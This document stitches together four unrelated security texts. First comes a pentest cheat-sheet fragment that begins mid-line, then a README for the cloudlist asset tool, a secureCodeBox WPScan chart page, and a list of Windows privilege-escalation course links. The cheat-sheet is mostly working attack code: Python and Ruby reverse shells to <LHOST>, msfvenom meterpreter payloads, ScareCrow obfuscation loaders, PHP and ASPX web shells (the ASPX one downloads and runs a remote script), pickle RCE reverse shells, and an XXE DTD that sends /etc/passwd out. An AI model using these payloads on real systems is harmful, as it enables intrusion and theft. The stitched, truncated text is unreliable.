pty,subprocess,os,time;(master,slave)=pty.openpty();p=subprocess.Popen(["/bin/su","-c","id","bynarr"],stdin=slave,stdout=slave,stderr=slave);os.read(master,1024);os.write(master,"fruity\n");time.sleep(0.1);print os.read(master,1024);' ``` ```c echo python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > <FILE><(),2);p=subprocess.call(["/bin/sh","-i"]);' > <FILE> ``` ##### Ruby Reverse Shell ```c ruby -rsocket -e'f=TCPSocket.open("<LHOST>",<LPORT>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ``` #### ScareCrow ##### Payloads ###### Shellcode Payload Creation with msfvenom ```c msfvenom -a x64 -p windows/x64/meterpreter/reverse_https LHOST=<LHOST> LPORT=8443 -f raw -o <FILE>.bin ``` ###### .msi-File Payload Creation with msfvenom ```c msfvenom -a x64 -p windows/x64/meterpreter/reverse_https LHOST=<LHOST> LPORT=8443 -f exe -o <FILE>.exe ``` ##### Listener ```c msf6 > use exploit/multi/handler msf6 > set payload windows/x64/meterpreter/reverse_https ``` ##### Obfuscation ###### DLL Side-Loading ```c ScareCrow -I <FILE>.bin -Loader dll -domain <FAKE_DOMAIN> ``` ###### Windows Script Host ```c ScareCrow -I <FILE>.bin -Loader msiexec -domain <FAKE_DOMAIN> -O payload.js ``` ###### Control Panel Files ```c ScareCrow -I <FILE>.bin -Loader control -domain <FAKE_DOMAIN> ``` ##### Renaming Payload ```c mv <FILE>.dll <FILE>32.dll ``` ##### Execution ```c rundll32.exe .\<FILE>32.dll,DllRegisterServer ``` or ```c regsvr32 /s .\<FILE>32.dll ``` For `.cpl-Files` a simple double click is enough to execute them. #### Shikata Ga Nai ```c msfvenom -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f c -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -b "\x00" -e x86/shikata_ga_nai -f exe -o /tmp/shell.exe ``` #### Web Shells ##### PHP Web Shell ```c <?php system($_GET['cmd']); ?> <?php echo exec($_POST['cmd']); ?> <?php echo passthru($_GET['cmd']); ?> <?php passthru($_REQUEST['cmd']); ?> <?php echo system($_REQUEST['shell']): ?> ``` #### ysoserial ```c java -jar ysoserial-master-SNAPSHOT.jar java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections1 'nc <LHOST> <LPORT> -e /bin/sh' | base64 -w 0 java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections4 "$jex" > /tmp/$filename.session ``` ### Templates #### ASPX Web Shell ```c <?xml version="1.0" encoding="UTF-8"?> <configuration> <system.webServer> <handlers accessPolicy="Read, Script, Write"> <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" /> </handlers> <security> <requestFiltering> <fileExtensions> <remove fileExtension=".config" /> </fileExtensions> <hiddenSegments> <remove segment="web.config" /> </hiddenSegments> </requestFiltering> </security> </system.webServer> </configuration> <!-- ASP code comes here! It should not include HTML comment closing tag and double dashes! <% Set s = CreateObject("WScript.Shell") Set cmd = s.Exec("cmd /c powershell -c IEX (New-Object Net.Webclient).downloadstring('http://<LHOST>/shellyjelly.ps1')") o = cmd.StdOut.Readall() Response.write(o) %> --> ``` #### Bad YAML ```c - hosts: localhost tasks: - name: badyml command: chmod +s /bin/bash ``` #### Exploit Skeleton Python Script ```c #!/usr/bin/python import socket,sys address = '127.0.0.1' port = 9999 buffer = #TBD try: print '[+] Sending buffer' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((address,port)) s.recv(1024) s.send(buffer + '\r\n') except: print '[!] Unable to connect to the application.' sys.exit(0) finally: s.close() ``` #### JSON POST Request ```c POST /<path> HTTP/1.1 Host: <RHOST> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/json Content-Length: 95 Connection: close { "auth":{ "name":"<USERNAME>", "password":"<PASSWORD>" }, "filename":"<FILE>" } ``` #### Python Pickle RCE ```python import pickle import sys import base64 command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat <LHOST> <LHOST> > /tmp/f' class rce(object): def __reduce__(self): import os return (os.system,(command,)) print(base64.b64encode(pickle.dumps(rce()))) ``` ```python import base64 import pickle import os class RCE: def __reduce__(self): cmd = ("/bin/bash -c 'exec bash -i &>/dev/tcp/<LHOST>/<LPORT> <&1'") return = os.system, (cmd, ) if __name__ == '__main__': pickle = pickle.dumps(RCE()) print(bas64.b64encode(pickled)) ``` #### Python Redirect for SSRF ```python #!/usr/bin/python3 import sys from http.server import HTTPServer, BaseHTTPRequestHandler class Redirect(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header('Location', sys.argv[1]) self.end_headers() HTTPServer(("0.0.0.0", 80), Redirect).serve_forever() ``` ```c sudo python3 redirect.py http://127.0.0.1:3000/ ``` ```python #!/usr/bin/env python import SimpleHTTPServer import SocketServer import sys import argparse def redirect_handler_factory(url): """ returns a request handler class that redirects to supplied `url` """ class RedirectHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): self.send_response(301) self.send_header('Location', url) self.end_headers() def do_POST(self): self.send_response(301) self.send_header('Location', url) self.end_headers() return RedirectHandler def main(): parser = argparse.ArgumentParser(description='HTTP redirect server') parser.add_argument('--port', '-p', action="store", type=int, default=80, help='port to listen on') parser.add_argument('--ip', '-i', action="store", default="", help='host interface to listen on') parser.add_argument('redirect_url', action="store") myargs = parser.parse_args() redirect_url = myargs.redirect_url port = myargs.port host = myargs.ip redirectHandler = redirect_handler_factory(redirect_url) handler = SocketServer.TCPServer((host, port), redirectHandler) print("serving at port %s" % port) handler.serve_forever() if __name__ == "__main__": main() ``` #### Python Web Request ```python import requests import re http_proxy = "http://127.0.0.1:8080" proxyDict = { "http" : http_proxy, } // get a session r = requests.get('http://') // send request r = requests.post('<RHOST>', data={'key': 'value'}, cookies={'PHPSESSID': r.cookies['PHPSESSID']} , proxies=proxyDict) ``` #### XML External Entity (XXE) ##### Request ```c <?xml version="1.0"?> <!DOCTYPE foo [<!ENTITY % <NAME> SYSTEM "http://<LHOST>/<FILE>.dtd">%<NAME>;]> <root> <method>GET</method> <uri>/</uri> <user> <username><NAME>;</username> <password><NAME></password> </user> </root> ``` ##### Content of <FILE>.dtd ```c <!ENTITY % file SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://<LHOST>/?f=%file;'>"> %eval; %exfiltrate; ```
<h1 align="center"> <img src="static/cloudlist-logo.png" alt="cloudlist" width="400px"></a> <br> </h1> <p align="center"> <a href="https://opensource.org/licenses/MIT"><img src="https://img.shields.io/badge/license-MIT-_red.svg"></a> <a href="https://github.com/projectdiscovery/cloudlist/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a> <a href="https://goreportcard.com/badge/github.com/projectdiscovery/cloudlist"><img src="https://goreportcard.com/badge/github.com/projectdiscovery/cloudlist"></a> <a href="https://github.com/projectdiscovery/cloudlist/releases"><img src="https://img.shields.io/github/release/projectdiscovery/cloudlist"></a> <a href="https://twitter.com/pdiscoveryio"><img src="https://img.shields.io/twitter/follow/pdiscoveryio.svg?logo=twitter"></a> <a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a> </p> <p align="center"> <a href="#features">Features</a> • <a href="#installation-instructions">Installation</a> • <a href="#usage">Usage</a> • <a href="#configuration-file">Configuration</a> • <a href="#running-cloudlist">Running cloudlist</a> • <a href="#supported-providers">Supported providers</a> • <a href="#cloudlist-as-a-library">Library</a> • <a href="https://discord.gg/projectdiscovery">Join Discord</a> </p> Cloudlist is a multi-cloud tool for getting Assets from Cloud Providers. This is intended to be used by the blue team to augment Attack Surface Management efforts by maintaining a centralized list of assets across multiple clouds with very little configuration efforts. # Features <h1 align="left"> <img src="static/cloudlist-run.png" alt="cloudlist" width="700px"></a> <br> </h1> - List Cloud assets with multiple configurations - Multiple Cloud providers support - Multiple output format support - Multiple filters support - Highly extensible making adding new providers a breeze - **stdout** support to work with other tools in pipelines # Usage ```sh cloudlist -h ``` This will display help for the tool. Here are all the switches it supports. ```yaml Usage: ./cloudlist [flags] Flags: CONFIGURATION: -config string cloudlist flag config file (default "$HOME/.config/cloudlist/config.yaml") -pc, -provider-config string provider config file (default "$HOME/.config/cloudlist/provider-config.yaml") FILTERS: -p, -provider string[] display results for given providers (comma-separated) -id string[] display results for given ids (comma-separated) -host display only hostnames in results -ip display only ips in results -ep, -exclude-private exclude private ips in cli output OUTPUT: -o, -output string output file to write results -json write output in json format -version display version of cloudlist -v display verbose output -silent display only results in output ``` # Installation Instructions Download the ready to use binary from [release page](https://github.com/projectdiscovery/cloudlist/releases/) or install/build using Go ```sh go install -v github.com/projectdiscovery/cloudlist/cmd/cloudlist@latest ``` # Running Cloudlist ``` cloudlist ``` This will list all the assets from configured providers in the configuration file. Specific providers and asset type can also be specified using `provider` and `id` filter. ```console cloudlist -provider aws,gcp ________ _____ __ / ____/ /___ __ ______/ / (_)____/ /_ / / / / __ \/ / / / __ / / / ___/ __/ / /___/ / /_/ / /_/ / /_/ / / (__ ) /_ \____/_/\____/\__,_/\__,_/_/_/____/\__/ v0.0.1 projectdiscovery.io [WRN] Use with caution. You are responsible for your actions [WRN] Developers assume no liability and are not responsible for any misuse or damage. [INF] Listing assets from AWS (prod) provider. example.com example2.com example3.com 1.1.1.1 2.2.2.2 3.3.3.3 4.4.4.4 5.5.5.5 6.6.6.6 [INF] Found 2 hosts and 6 IPs from AWS service (prod) ``` ## Running cloudlist with Nuclei Scanning assets from various cloud providers with nuclei for security assessments:- ```bash cloudlist -silent | httpx -silent | nuclei -t cves/ ``` # Supported providers - AWS (Amazon web services) - EC2 - Route53 - GCP (Google Cloud Platform) - Cloud DNS - DO (DigitalOcean) - Instances - SCW (Scaleway) - Instances - Fastly - Services - Heroku - Applications - Linode - Instances - Azure - Virtual Machines - Namecheap - Domain List - Alibaba Cloud - ECS Instances - Cloudflare - DNS - Hashistack - Nomad - Consul - Terraform - Hetzner Cloud - Instances # Configuration file The default provider config file should be located at `$HOME/.config/cloudlist/provider-config.yaml` and has the following contents as an example. In order to run this tool, the keys need to updated in the config file for the desired providers. <details> <summary>Example Provider Config</summary> ```yaml - provider: do # provider is the name of the provider id is the name defined by user for filtering (optional) id: xxxx # digitalocean_token is the API key for digitalocean cloud platform digitalocean_token: $DIGITALOCEAN_TOKEN - provider: scw # provider is the name of the provider # scaleway_access_key is the access key for scaleway API scaleway_access_key: $SCALEWAY_ACCESS_KEY # scaleway_access_token is the access token for scaleway API scaleway_access_token: $SCALEWAY_ACCESS_TOKEN - provider: aws # provider is the name of the provider id is the name defined by user for filtering (optional) id: staging # aws_access_key is the access key for AWS account aws_access_key: $AWS_ACCESS_KEY # aws_secret_key is the secret key for AWS account aws_secret_key: $AWS_SECRET_KEY # aws_session_token session token for temporary security credentials retrieved via STS (optional) aws_session_token: $AWS_SESSION_TOKEN - provider: gcp # provider is the name of the provider # profile is the name of the provider profile id: logs # gcp_service_account_key is the minified json of a google cloud service account with list permissions gcp_service_account_key: '{xxxxxxxxxxxxx}' - provider: azure # provider is the name of the provider id is the name defined by user for filtering (optional) id: staging # client_id is the client ID of registered application of the azure account (not requuired if using cli auth) client_id: $AZURE_CLIENT_ID # client_secret is the secret ID of registered application of the zure account (not requuired if using cli uth) client_secret: $AZURE_CLIENT_SECRET # tenant_id is the tenant ID of registered application of the azure account (not requuired if using cli auth) tenant_id: $AZURE_TENANT_ID #subscription_id is the azure subscription id subscription_id: $AZURE_SUBSCRIPTION_ID #use_cli_auth if set to true cloudlist will use azure cli auth use_cli_auth: true - provider: cloudflare # provider is the name of the provider # email is the email for cloudflare email: $CF_EMAIL # api_key is the api_key for cloudflare api_key: $CF_API_KEY - provider: heroku # provider is the name of the provider id is the name defined by user for filtering (optional) id: staging # heroku_api_token is the api key for Heroku account heroku_api_token: $HEROKU_API_TOKEN - provider: linode # provider is the name of the provider id is the name defined by user for filtering (optional) id: staging # linode_personal_access_token is the personal access token for linode account linode_personal_access_token: $LINODE_PERSONAL_ACCESS_TOKEN - provider: fastly # provider is the name of the provider id is the name defined by user for filtering (optional) id: staging # fastly_api_key is the personal API token for fastly account fastly_api_key: $FASTLY_API_KEY - provider: alibaba # provider is the name of the provider id is the name defined by user for filtering (optional) id: staging # alibaba_region_id is the region id of the resources alibaba_region_id: $ALIBABA_REGION_ID # alibaba_access_key is the access key ID for alibaba cloud account alibaba_access_key: $ALIBABA_ACCESS_KEY # alibaba_access_key_secret is the secret access key for alibaba cloud account alibaba_access_key_secret: $ALIBABA_ACCESS_KEY_SECRET - provider: namecheap # provider is the name of the provider id is the name defined by user for filtering (optional) id: staging # namecheap_api_key is the api key for namecheap account namecheap_api_key: $NAMECHEAP_API_KEY # namecheap_user_name is the username of the namecheap account namecheap_user_name: $NAMECHEAP_USER_NAME - provider: terraform # provider is the name of the provider id is the name defined by user for filtering (optional) id: staging #tf_state_file is the location of terraform state file (terraform.tfsate) tf_state_file: path/to/terraform.tfstate - provider: hetzner # provider is the name of the provider id is the name defined by user for filtering (optional) id: staging # auth_token is the is the hetzner authentication token auth_token: $HETZNER_AUTH_TOKEN - provider: nomad # provider is the name of the provider # nomad_url is the url for nomad server nomad_url: http:/127.0.0.1:4646/ # nomad_ca_file is the path to nomad CA file # nomad_ca_file: <path-to-ca-file>.pem # nomad_cert_file is the path to nomad Certificate file # nomad_cert_file: <path-to-cert-file>.pem # nomad_key_file is the path to nomad Certificate Key file # nomad_key_file: <path-to-key-file>.pem # nomad_token is the nomad authentication token # nomad_token: <nomad-token> # nomad_http_auth is the nomad http auth value # nomad_http_auth: <nomad-http-auth-value> - provider: consul # provider is the name of the provider # consul_url is the url for consul server consul_url: http://localhost:8500/ # consul_ca_file is the path to consul CA file # consul_ca_file: <path-to-ca-file>.pem # consul_cert_file is the path to consul Certificate file # consul_cert_file: <path-to-cert-file>.pem # consul_key_file is the path to consul Certificate Key file # consul_key_file: <path-to-key-file>.pem # consul_http_token is the consul authentication token # consul_http_token: <consul-token> # consul_http_auth is the consul http auth value # consul_http_auth: <consul-http-auth-value> ``` </details> # Contribution Please check [PROVIDERS.md](https://github.com/projectdiscovery/cloudlist/blob/main/PROVIDERS.md) and [DESIGN.md](https://github.com/projectdiscovery/cloudlist/blob/main/DESIGN.md) to include support for new cloud providers in Cloudlist. - Fork this project - Create your feature branch (`git checkout -b new-provider`) - Commit your changes (`git commit -am 'Added new cloud provider'`) - Push to the branch (`git push origin new-provider`) - Create new Pull Request # Cloudlist as a library It's possible to use the library directly in your go programs. The following code snippets outline how to list assets from all or given cloud provider. ```go package main import ( "context" "log" "github.com/projectdiscovery/cloudlist/pkg/inventory" "github.com/projectdiscovery/cloudlist/pkg/schema" ) func main() { inventory, err := inventory.New(schema.Options{ schema.OptionBlock{"provider": "digitalocean", "digitalocean_token": "ec405badb974fd3d891c9223245f9ab5871c127fce9e632c8dc421edd46d7242"}, }) if err != nil { log.Fatalf("%s\n", err) } for _, provider := range inventory.Providers { resources, err := provider.Resources(context.Background()) if err != nil { log.Fatalf("%s\n", err) } for _, resource := range resources.Items { _ = resource // Do something with the resource } } } ``` ## Acknowledgments Thank you for inspiration * [Smogcloud](https://github.com/BishopFox/smogcloud) * [Cloudmapper](https://github.com/duo-labs/cloudmapper) ## License cloudlist is made with 🖤 by the [projectdiscovery](https://projectdiscovery.io) team and licensed under [MIT](https://github.com/projectdiscovery/cloudlist/blob/main/LICENSE.md)
--- title: 'WPScan' category: 'scanner' type: "CMS" state: "released" appVersion: "v3.8.22" usecase: "Wordpress Vulnerability Scanner" --- ![WPScan Logo](https://raw.githubusercontent.com/wpscanteam/wpscan/gh-pages/images/wpscan_logo.png) <!-- SPDX-FileCopyrightText: the secureCodeBox authors SPDX-License-Identifier: Apache-2.0 --> <!-- .: IMPORTANT! :. -------------------------- This file is generated automatically with `helm-docs` based on the following template files: - ./.helm-docs/templates.gotmpl (general template data for all charts) - ./chart-folder/.helm-docs.gotmpl (chart specific template data) Please be aware of that and apply your changes only within those template files instead of this file. Otherwise your changes will be reverted/overwritten automatically due to the build process `./.github/workflows/helm-docs.yaml` -------------------------- --> <p align="center"> <a href="https://opensource.org/licenses/Apache-2.0"><img alt="License Apache-2.0" src="https://img.shields.io/badge/License-Apache%202.0-blue.svg"/></a> <a href="https://github.com/secureCodeBox/secureCodeBox/releases/latest"><img alt="GitHub release (latest SemVer)" src="https://img.shields.io/github/v/release/secureCodeBox/secureCodeBox?sort=semver"/></a> <a href="https://owasp.org/www-project-securecodebox/"><img alt="OWASP Lab Project" src="https://img.shields.io/badge/OWASP-Lab%20Project-yellow"/></a> <a href="https://artifacthub.io/packages/search?repo=securecodebox"><img alt="Artifact HUB" src="https://img.shields.io/endpoint?url=https://artifacthub.io/badge/repository/securecodebox"/></a> <a href="https://github.com/secureCodeBox/secureCodeBox/"><img alt="GitHub Repo stars" src="https://img.shields.io/github/stars/secureCodeBox/secureCodeBox?logo=GitHub"/></a> <a href="https://twitter.com/securecodebox"><img alt="Twitter Follower" src="https://img.shields.io/twitter/follow/securecodebox?style=flat&color=blue&logo=twitter"/></a> </p> ## What is WPScan? WPScan is a free, for non-commercial use, black box WordPress vulnerability scanner written for security professionals and blog maintainers to test the security of their sites. > NOTE: You need to provide WPSan with an API Token so that it can look up vulnerabilities infos with [https://wpvulndb.com](https://wpvulndb.com). Without the token WPScan will only identify WordPress Core / Plugin / Theme versions but not if they are actually vulnerable. You can get a free API Token at by registering for an account at [https://wpvulndb.com](https://wpvulndb.com). Using the secureCodeBox WPScans you can specify the token via the `WPVULNDB_API_TOKEN` target attribute, see the example below. To learn more about the WPScan scanner itself visit [wpscan.org] or [wpscan.io]. ## Deployment The wpscan chart can be deployed via helm: ```bash # Install HelmChart (use -n to configure another namespace) helm upgrade --install wpscan secureCodeBox/wpscan ``` ## Scanner Configuration The following security scan configuration example are based on the [WPScan Documentation], please take a look at the original documentation for more configuration examples. * Scan all plugins with known vulnerabilities: `wpscan --url example.com -e vp --plugins-detection mixed --api-token WPVULNDB_API_TOKEN` * Scan all plugins in our database (could take a very long time): `wpscan --url example.com -e ap --plugins-detection mixed --api-token WPVULNDB_API_TOKEN` * Password brute force attack: `wpscan --url example.com -e u --passwords /path/to/password_file.txt` * WPScan keeps a local database of metadata that is used to output useful information, such as the latest version of a plugin. The local database can be updated with the following command: `wpscan --update` * When enumerating the WordPress version, installed plugins or installed themes, you can use three different "modes", which are: * passive * aggressive * mixed If you want the most results use the "mixed" mode. However, if you are worried that the server may not be able to handle many requests, use the "passive" mode. The default mode is "mixed", except plugin enumeration, which is "passive". You will need to manually override the plugin detection mode, if you want to use anything other than the default, with the `--plugins-detection` option. * WPScan can enumerate various things from a remote WordPress application, such as plugins, themes, usernames, backed up files wp-config.php files, Timthumb files, database exports and more. To use WPScan's enumeration capabilities supply the `-e `option. ```bash Available Choices: vp | Vulnerable plugins ap | All plugins p | Plugins vt | Vulnerable themes at | All themes t | Themes tt | Timthumbs cb | Config backups dbe | Db exports u | User IDs range. e.g: u1-5 Range separator to use: '-' Value if no argument supplied: 1-10 m | Media IDs range. e.g m1-15 Note: Permalink setting must be set to "Plain" for those to be detected Range separator to use: '-' Value if no argument supplied: 1-100 Separator to use between the values: ',' Default: All Plugins, Config Backups Value if no argument supplied: vp,vt,tt,cb,dbe,u,m Incompatible choices (only one of each group/s can be used): - vp, ap, p - vt, at, t ``` ## Requirements Kubernetes: `>=v1.11.0-0` ## Values | Key | Type | Default | Description | |-----|------|---------|-------------| | cascadingRules.enabled | bool | `false` | Enables or disables the installation of the default cascading rules for this scanner | | imagePullSecrets | list | `[]` | Define imagePullSecrets when a private registry is used (see: https://kubernetes.io/docs/tasks/configure-pod-container/pull-image-private-registry/) | | parser.affinity | object | `{}` | Optional affinity settings that control how the parser job is scheduled (see: https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes-using-node-affinity/) | | parser.env | list | `[]` | Optional environment variables mapped into each parseJob (see: https://kubernetes.io/docs/tasks/inject-data-application/define-environment-variable-container/) | | parser.image.pullPolicy | string | `"IfNotPresent"` | Image pull policy. One of Always, Never, IfNotPresent. Defaults to Always if :latest tag is specified, or IfNotPresent otherwise. More info: https://kubernetes.io/docs/concepts/containers/images#updating-images | | parser.image.repository | string | `"docker.io/securecodebox/parser-wpscan"` | Parser image repository | | parser.image.tag | string | defaults to the charts version | Parser image tag | | parser.resources | object | { requests: { cpu: "200m", memory: "100Mi" }, limits: { cpu: "400m", memory: "200Mi" } } | Optional resources lets you control resource limits and requests for the parser container. See https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/ | | parser.scopeLimiterAliases | object | `{}` | Optional finding aliases to be used in the scopeLimiter. | | parser.tolerations | list | `[]` | Optional tolerations settings that control how the parser job is scheduled (see: https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/) | | parser.ttlSecondsAfterFinished | string | `nil` | seconds after which the kubernetes job for the parser will be deleted. Requires the Kubernetes TTLAfterFinished controller: https://kubernetes.io/docs/concepts/workloads/controllers/ttlafterfinished/ | | scanner.activeDeadlineSeconds | string | `nil` | There are situations where you want to fail a scan Job after some amount of time. To do so, set activeDeadlineSeconds to define an active deadline (in seconds) when considering a scan Job as failed. (see: https://kubernetes.io/docs/concepts/workloads/controllers/job/#job-termination-and-cleanup) | | scanner.affinity | object | `{}` | Optional affinity settings that control how the scanner job is scheduled (see: https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes-using-node-affinity/) | | scanner.backoffLimit | int | 3 | There are situations where you want to fail a scan Job after some amount of retries due to a logical error in configuration etc. To do so, set backoffLimit to specify the number of retries before considering a scan Job as failed. (see: https://kubernetes.io/docs/concepts/workloads/controllers/job/#pod-backoff-failure-policy) | | scanner.env | list | `[]` | Optional environment variables mapped into each scanJob (see: https://kubernetes.io/docs/tasks/inject-data-application/define-environment-variable-container/) | | scanner.extraContainers | list | `[]` | Optional additional Containers started with each scanJob (see: https://kubernetes.io/docs/concepts/workloads/pods/init-containers/) | | scanner.extraVolumeMounts | list | `[]` | Optional VolumeMounts mapped into each scanJob (see: https://kubernetes.io/docs/concepts/storage/volumes/) | | scanner.extraVolumes | list | `[]` | Optional Volumes mapped into each scanJob (see: https://kubernetes.io/docs/concepts/storage/volumes/) | | scanner.image.pullPolicy | string | `"IfNotPresent"` | Image pull policy. One of Always, Never, IfNotPresent. Defaults to Always if :latest tag is specified, or IfNotPresent otherwise. More info: https://kubernetes.io/docs/concepts/containers/images#updating-images | | scanner.image.repository | string | `"docker.io/securecodebox/scanner-wpscan"` | Container Image to run the scan | | scanner.image.tag | string | `nil` | defaults to the charts appVersion | | scanner.nameAppend | string | `nil` | append a string to the default scantype name. | | scanner.podSecurityContext | object | `{}` | Optional securityContext set on scanner pod (see: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) | | scanner.resources | object | `{}` | CPU/memory resource requests/limits (see: https://kubernetes.io/docs/tasks/configure-pod-container/assign-memory-resource/, https://kubernetes.io/docs/tasks/configure-pod-container/assign-cpu-resource/) | | scanner.securityContext | object | `{"allowPrivilegeEscalation":false,"capabilities":{"drop":["all"]},"privileged":false,"readOnlyRootFilesystem":false,"runAsNonRoot":false}` | Optional securityContext set on scanner container (see: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) | | scanner.securityContext.allowPrivilegeEscalation | bool | `false` | Ensure that users privileges cannot be escalated | | scanner.securityContext.capabilities.drop[0] | string | `"all"` | This drops all linux privileges from the container. | | scanner.securityContext.privileged | bool | `false` | Ensures that the scanner container is not run in privileged mode | | scanner.securityContext.readOnlyRootFilesystem | bool | `false` | Prevents write access to the containers file system | | scanner.securityContext.runAsNonRoot | bool | `false` | Enforces that the scanner image is run as a non root user | | scanner.tolerations | list | `[]` | Optional tolerations settings that control how the scanner job is scheduled (see: https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/) | | scanner.ttlSecondsAfterFinished | string | `nil` | seconds after which the kubernetes job for the scanner will be deleted. Requires the Kubernetes TTLAfterFinished controller: https://kubernetes.io/docs/concepts/workloads/controllers/ttlafterfinished/ | ## License [![License](https://img.shields.io/badge/License-Apache%202.0-blue.svg)](https://opensource.org/licenses/Apache-2.0) Code of secureCodeBox is licensed under the [Apache License 2.0][scb-license]. [scb-owasp]: https://www.owasp.org/index.php/OWASP_secureCodeBox [scb-docs]: https://www.securecodebox.io/ [scb-site]: https://www.securecodebox.io/ [scb-github]: https://github.com/secureCodeBox/ [scb-twitter]: https://twitter.com/secureCodeBox [scb-slack]: https://join.slack.com/t/securecodebox/shared_invite/enQtNDU3MTUyOTM0NTMwLTBjOWRjNjVkNGEyMjQ0ZGMyNDdlYTQxYWQ4MzNiNGY3MDMxNThkZjJmMzY2NDRhMTk3ZWM3OWFkYmY1YzUxNTU [scb-license]: https://github.com/secureCodeBox/secureCodeBox/blob/master/LICENSE [wpscan.io]: https://wpscan.io/ [wpscan.org]: https://wpscan.org/ [WPScan Documentation]: https://github.com/wpscanteam/wpscan/wiki/WPScan-User-Documentation
# Windows-Privilege-Escalation-Resources Compilation of Resources from TCM's Windows Priv Esc Udemy Course ### General Links Link to Website: https://www.thecybermentor.com/ Link to course: https://www.udemy.com/course/windows-privilege-escalation-for-beginners/ Link to discord server: https://discord.gg/RHZ7UF7 HackTheBox: https://www.hackthebox.eu/ TryHackMe: https://tryhackme.com/ TryHackMe Escalation Lab: https://tryhackme.com/room/windowsprivescarena ### Introduction Fuzzy Security Guide: https://www.fuzzysecurity.com/tutorials/16.html PayloadAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md Absoloom's Guide: https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/ Sushant 747's Guide: https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html ### Gaining a Foothold msfvenom: https://netsec.ws/?p=331 ### Exploring Automated Tools winpeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS Windows Priv Esc Checklist: https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation Sherlock: https://github.com/rasta-mouse/Sherlock Watson: https://github.com/rasta-mouse/Watson PowerUp: https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc JAWS: https://github.com/411Hall/JAWS Windows Exploit Suggester: https://github.com/AonCyberLabs/Windows-Exploit-Suggester Metasploit Local Exploit Suggester: https://blog.rapid7.com/2015/08/11/metasploit-local-exploit-suggester-do-less-get-more/ Seatbelt: https://github.com/GhostPack/Seatbelt SharpUp: https://github.com/GhostPack/SharpUp ### Escalation Path: Kernel Exploits Windows Kernel Exploits: https://github.com/SecWiki/windows-kernel-exploits Kitrap0d Info: https://seclists.org/fulldisclosure/2010/Jan/341 MS10-059: https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS10-059 ### Escalation Path: Passwords and Port Forwarding Achat Exploit: https://www.exploit-db.com/exploits/36025 Achat Exploit (Metasploit): https://www.rapid7.com/db/modules/exploit/windows/misc/achat_bof Plink Download: https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html ### Escalation Path: Windows Subsystem for Linux Spawning TTY Shell: https://netsec.ws/?p=337 Impacket Toolkit: https://github.com/SecureAuthCorp/impacket ### Impersonation and Potato Attacks Rotten Potato: https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/ Juicy Potato: https://github.com/ohpe/juicy-potato Groovy Reverse Shell: https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76 Alternative Data Streams: https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/ ### Escalation Path: getsystem getsystem Explained: https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/ ### Escalation Path: Startup Applications icacls Docs: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/icacls ### Escalation Path: CVE-2019-1388 ZeroDayInitiative CVE-2019-1388: https://www.youtube.com/watch?v=3BQKpPNlTSo Rapid7 CVE-2019-1388: https://www.rapid7.com/db/vulnerabilities/msft-cve-2019-1388 ### Capstone Challenge Basic Powershell for Pentesters: https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters Mounting VHD Files: https://medium.com/@klockw3rk/mounting-vhd-file-on-kali-linux-through-remote-share-f2f9542c1f25 Capturing MSSQL Creds: https://medium.com/@markmotig/how-to-capture-mssql-credentials-with-xp-dirtree-smbserver-py-5c29d852f478
